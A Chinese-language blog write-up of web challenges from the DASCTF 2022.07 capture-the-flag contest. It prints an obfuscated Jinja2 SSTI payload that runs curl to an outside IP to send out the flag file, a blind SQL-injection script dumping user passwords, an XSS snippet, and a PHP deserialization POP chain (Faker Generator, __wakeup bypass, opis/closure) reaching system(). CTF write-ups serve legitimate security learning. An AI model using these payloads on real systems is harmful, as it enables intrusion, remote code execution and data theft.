DASCTF2022.07赋能赛Web赛后WP

前言

大师傅们都太强了,被自己菜哭了QAQ

Ez to getflag

网站有两个功能点,一个图片上传一个图片查看。其中图片查看功能可以通过GET参数进行任意文件读取。不知道是不是出题人没配好环境的原因。。

Harddisk

开局一个框。经过各种测试后感觉像Python后端,测试存在SSTI

粗略Fuzz了下,大致过滤了如下关键字

空格
{{}}
[]
__
.
'
print
os
popen
read
class
base
...

SSTI的绕过可以参考以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用,总结的很全。本题的绕过方式如下

#%0d绕过
空格

#使用{% if payload %}1{% endif %}的形式,但无回显,需要curl外带
{{}}
print

#使用|attr()过滤器绕过,配合Unicode编码绕过关键字
[]
__
.
\x
class
base

#"绕过
''

#""拆分关键字绕过
os
popen
read
...

最终可以构造出如下Payload

{%%0dif%0d()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(219)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("o""s")|attr("po""pen")("curl${IFS}http://795653328:8888?`cat${IFS}/f*`")|attr("re""ad")()%}1{%%0dendif%0d%}

这里由于.被过滤,可以使用ip地址的十进制形式绕过,转换工具

绝对防御

翻js文件static/alerttip.js可以发现存在可疑路径

访问可以看见js源码

function getQueryVariable(variable)
{
       var query = window.location.search.substring(1);
       var vars = query.split("&");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split("=");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
}

function check(){
		var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
        if (reg.test(getQueryVariable("id"))) {
            alert("提示:您输入的信息含有非法字符!");
            window.location.href = "/"
         }
}

能够GET传参id,并且前端过滤了一些特殊字符,测试id存在sql盲注,脚本如下

import requests

proxy={"http":"http://127.0.0.1:8080/"}
url="http://ab937290-72fe-43aa-b3d5-92d1ab587d34.node4.buuoj.cn:81/SUPPERAPI.php?id="
flag=''
for i in range(1,200):
    print("------------------"+str(i)+"------------------")
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        #ctf
        # paylaod="2 and ascii(substr((select database()),{},1))>{}".format(i,mid)
        #user
        # paylaod = "2 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid)
        #id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
        # paylaod = "2 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i, mid)
        # admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}
        paylaod = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid)
        r=requests.get(url+paylaod,proxies=proxy)
        # print(str(low) + ':' + str(mid) + ':' + str(high))
        if "flag" in r.text:
            # print(r.text)
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32 or mid == 127:
        break
    flag += chr(mid)
    print(flag)

Newser(0解)

Cookie能够反序列化base64字符串

简单看了一下链子,这道题只给了一个User类,并且没有什么明显可以利用的地方,只有__destruct方法可以利用

    public function __destruct()
    {
        echo "User ".$this->instance->_username." has created.";
    }

乍一看有点像原生类的利用。这里可以将_username赋值为原生类,然后字符串拼接调用原生类的__toString方法。但是要注意这里的原生类不是通过关键字new来实例化的,而是通过序列化字符串来进行实例化的。

对于常用的几个原生类,在PHP8的环境下大部分都不能被序列化

但是我们可以通过Error类来进行XSS

public function __construct($username, $password, $email)
{
    $this->email = $email;
    $this->username = $username;
    $this->password = $password;
    $this->instance = $this;
    $this->_username = new Error("<script>alter(/1/)</script>");

}

但是没有想到怎么利用XSS进行下一步攻击。这里我尝试利用XSS探测内网,但是没有成功。

下面就是赛后复现了

PHP Composer

Composer是PHP中用于管理依赖的工具,类似Java中的Maven。通过配置composer.json文件,我们能够方便地管理本地和第三方依赖。一个简单的示例如下

{
  "require": {
    "fakerphp/faker": "^1.19",
    "opis/closure": "^3.6"
  }
}

配置好composer.json文件之后,可以通过composer install来下载第三方依赖。其中各种第三方依赖以及插件都会被自动放置在vendor文件夹下,我们可以通过包含vendor/autoload.php文件来自动引入所需依赖文件。目录结构如下

本题存在composer.json文件泄露,如下

序列化闭包

在PHP5.3之后,引入了函数闭包这个语法(又称匿名函数)。通过闭包我们能够声明一个没有名字的函数,并将其赋值给一个变量。我们也可以通过回调函数来调用闭包

<?php

$func = function($b){
    return $b**$b;
};

echo $func(3);
//output:27

echo call_user_func($func,3);
//output:27

那么闭包能否被序列化呢?我们来测试一下

<?php

$func = function($b){
    return $b**$b;
};

try{
    $s = serialize($func);
    var_dump($s);
}catch (Exception $e){
    echo $e;
}

正常情况下闭包是不能被序列化的,并且我们也能发现闭包实际上就是一个Closure

final class Closure
{
    private function __construct() {}
    public function __invoke(...$_) {}
    public function bindTo(?object $newThis, object|string|null $newScope = 'static') {}
    public function call(object $newThis, mixed ...$args) {}
    public static function fromCallable(callable $callback) {}
}

我们可以引入第三方依赖opis/closure来序列化闭包

<?php
include("vendor/autoload.php");

$func = function($b){
    return $b**$b;
};

try{
    $s = \Opis\Closure\serialize($func);
    var_dump($s);
}catch (Exception $e){
    echo $e;
}

//output:
//string(205) "C:32:"Opis\Closure\SerializableClosure":159:{a:5:{s:3:"use";a:0:{}s:8:"function";s:36:"function($b){
//    return $b**$b;
//}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"000000007a8a9d390000000012397df7";}}"

在使用opis/closure序列化闭包时,会将原本的Closure类包装成Opis\Closure\SerializableClosure类,反序列化时再将其转回Closure类,这里对比原生的unserialize

<?php
include("vendor/autoload.php");

$func = function($b){
    return $b**$b;
};

try{
    $s = \Opis\Closure\serialize($func);
//    var_dump($s);
}catch (Exception $e){
    echo $e;
}

var_dump(\Opis\Closure\unserialize($s));
//output:
//object(Closure)#7 (1) {
//  ["parameter"]=>
//  array(1) {
//    ["$b"]=>
//    string(10) "<required>"
//  }
//}

var_dump(unserialize($s));
//output:
//object(Opis\Closure\SerializableClosure)#7 (5) {
//["closure":protected]=>
//  object(Closure)#4 (1) {
//  ["parameter"]=>
//    array(1) {
//    ["$b"]=>
//      string(10) "<required>"
//    }
//  }
//  ["reflector":protected]=>
//  NULL
//  ["code":protected]=>
//  string(36) "function($b){
//    return $b**$b;
//}"
//["reference":protected]=>
//  NULL
//  ["scope":protected]=>
//  NULL
//}

原生反序列化完闭包之后仍然是Opis\Closure\SerializableClosure类,但是两种方法反序列化处理后都可正常回调

var_dump(call_user_func(unserialize($s),3));
var_dump(call_user_func(\Opis\Closure\unserialize($s),3));

//output:
//int(27)
//int(27)

在往年的赛题中,也有考过反序列化闭包配合回调函数RCE的思路。

POP链构造

题目只给出了一个User类,我们可以利用第三方依赖来完成POP链的构造。注意到题目引入了fakerphp/faker这个依赖。在其Generator类中存在回调

public function format($format, $arguments = [])
{
    return call_user_func_array($this->getFormatter($format), $arguments);
}

在其__get函数中调用了format函数

public function __get($attribute)
{
    trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);

    return $this->format($attribute);
}

而上文提到过,User类中的__desturct可以触发任意类的__get方法

public function __destruct()
{
    echo "User ".$this->instance->_username." has created.";
}

这就构成了一条完美的利用链

User::__destruct->
Generator::__get->
Generator::format->
call_user_func_array

PHP8绕过__wakeup置空

注意到\Faker\Generator中,回调函数的第一个参数是通过formatters数组来赋值的。但在\Faker\Generator__wakeup方法中会对formatters进行置空

public function __wakeup()
{
    $this->formatters = [];
}

这里需要绕过__wakeup。在低版本PHP中(PHP5<5.6.25,PHP7 < 7.0.10)存在__wakeup绕过漏洞(CVE-2016-7124)。但本题的环境是PHP8,我们可以利用引用来绕过wakeup中的属性置空操作。

我们先来看下面的例子

<?php
class test1{
    public $t1;

    public function __construct($obj){
        echo 1;
        $this->t1 = &$obj->t2;

    }

    public function __wakeup(){
        echo 3;
        $this->t1=NULL;
    }
}

class test2{
    public $elem;
    public $t2;
    public $obj;

    public function __construct(){
        echo 2;
        $this->elem = "feng";
        $this->obj = new test1($this);
    }

    public function __wakeup(){
        echo 4;
        $this->t2 = $this->elem;

    }
}

$t = new test2();
$s = serialize($t);
//echo $s;
$t2 = unserialize($s);
echo $t2->obj->t1;

//output:2134feng

我们想绕过test1的__wakeup置空,可以将被置空的属性t1和test2类中的属性t2通过引用“绑定”起来。现在操作t2就相当于操作t1。然后我们将test1对象作为test2的一个属性,当test2被反序列化时,PHP会优先解析类属性,因此test1作为test2的一个属性会被先反序列化成一个类。等test2的所有属性都被解析完之后才会被反序列化成一个类。

因此test2的__wakeup在test1的__wakeup之后被调用,在属性t1被置空之后,再通过test2的__wakeup进行赋值,这样就绕过了test1的__wakeup置空限制。

理解了上面的原理,下面我们就可以构造出题目的POP链了

<?php
namespace {
    class User{
        protected $_password;
        public $password;
        private $instance;

        public function __construct(){
            $this->instance = new Faker\Generator($this);
            $this->_password = ["_username"=>"phpinfo"];
        }

    }
    $payload=str_replace("s:8:\"password\"","s:14:\"".urldecode("%00")."User".urldecode("%00")."password\"",serialize(new User()));
//    echo $payload;
    echo base64_encode($payload);
}

namespace Faker{
    class Generator{
        protected $formatters;

        public function __construct($obj){
            $this->formatters = &$obj->password;
        }
    }
}

由于需要在类外调用password属性,因此我们先将其标识为public,序列化之后再改为private

下面我们可以通过反序列化闭包来进行RCE

<?php
namespace {
    include("vendor/autoload.php");
    class User{
        protected $_password;
        public $password;
        private $instance;

        public function __construct(){
            $func = function (){
              system("ls /");
            };
            $b=\Opis\Closure\serialize($func);
            $c=unserialize($b);
            $this->instance = new Faker\Generator($this);
            $this->_password = ["_username"=>$c];
        }

    }
    $payload=str_replace("s:8:\"password\"","s:14:\"".urldecode("%00")."User".urldecode("%00")."password\"",serialize(new User()));
//    echo $payload;
    echo base64_encode($payload);
}

namespace Faker{
    class Generator{
        protected $formatters;

        public function __construct($obj){
            $this->formatters = &$obj->password;
        }
    }
}

评论

  1. Boogipop
    Windows Chrome 108.0.0.0
    1年前
    2022-12-04 23:17:04

    师傅很强

  2. yyp
    Windows Chrome 108.0.0.0
    1年前
    2023-1-04 1:51:28

    同學您好
    看了你幾篇ctf的文章
    不知道是否能問問你幾題web ctf的題目

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇